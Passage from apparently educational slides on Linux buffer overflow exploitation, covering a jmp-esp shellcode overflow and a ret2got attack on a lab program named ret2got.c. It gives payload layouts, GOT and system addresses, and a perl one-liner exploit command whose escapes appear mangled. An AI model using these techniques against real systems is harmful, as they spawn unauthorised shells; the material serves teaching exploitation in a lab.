  • 12. EVIDENCE SCREENSHOT: • Disassemble the main program and obtain the address of “ff e4”. • Disassemble the function method to observe the stack structure and obtain the size of the buffer. • Generate a payload using the script as shown in the previous slide. • Payload = 268 bytes Pad + 4 bytes ret address + 24 bytes shellcode. • Inject the payload and the shell is spawned as shown in the figure.
  • 13. ret2got.c • In this exploit the first strcpy instruction is used to overflow the buffer array and overwrite ptr by printf GOT reference. • This is accomplished by using the second strcpy and overwriting GOT entry of printf. • EXPLOIT SCRIPT: • ./ret2got `perl -e 'print "A"x8 . "x0cxa0x04x08"'` `perl -e 'print "x46x83x04x08“’` • Entry for printf is 0x804a00c • Dynamic linker address for system is 0x08048346
  • 14. EVIDENCE SCREENSHOT: • Disassemble main and obtain the relevant entry point for ptintf i.e. 0x804a00c • Disassemble anyfunction to obtain the address where dynamic linker call of the system happens i.e. 0x08048346 • The payload must have 8 bytes followed by 4 bytes address of printf and 4 bytes address where system call happens. • Create a file called array and add the following instruction: /bin/sh • Inject the payload and the shell is spawned as shown in the figure.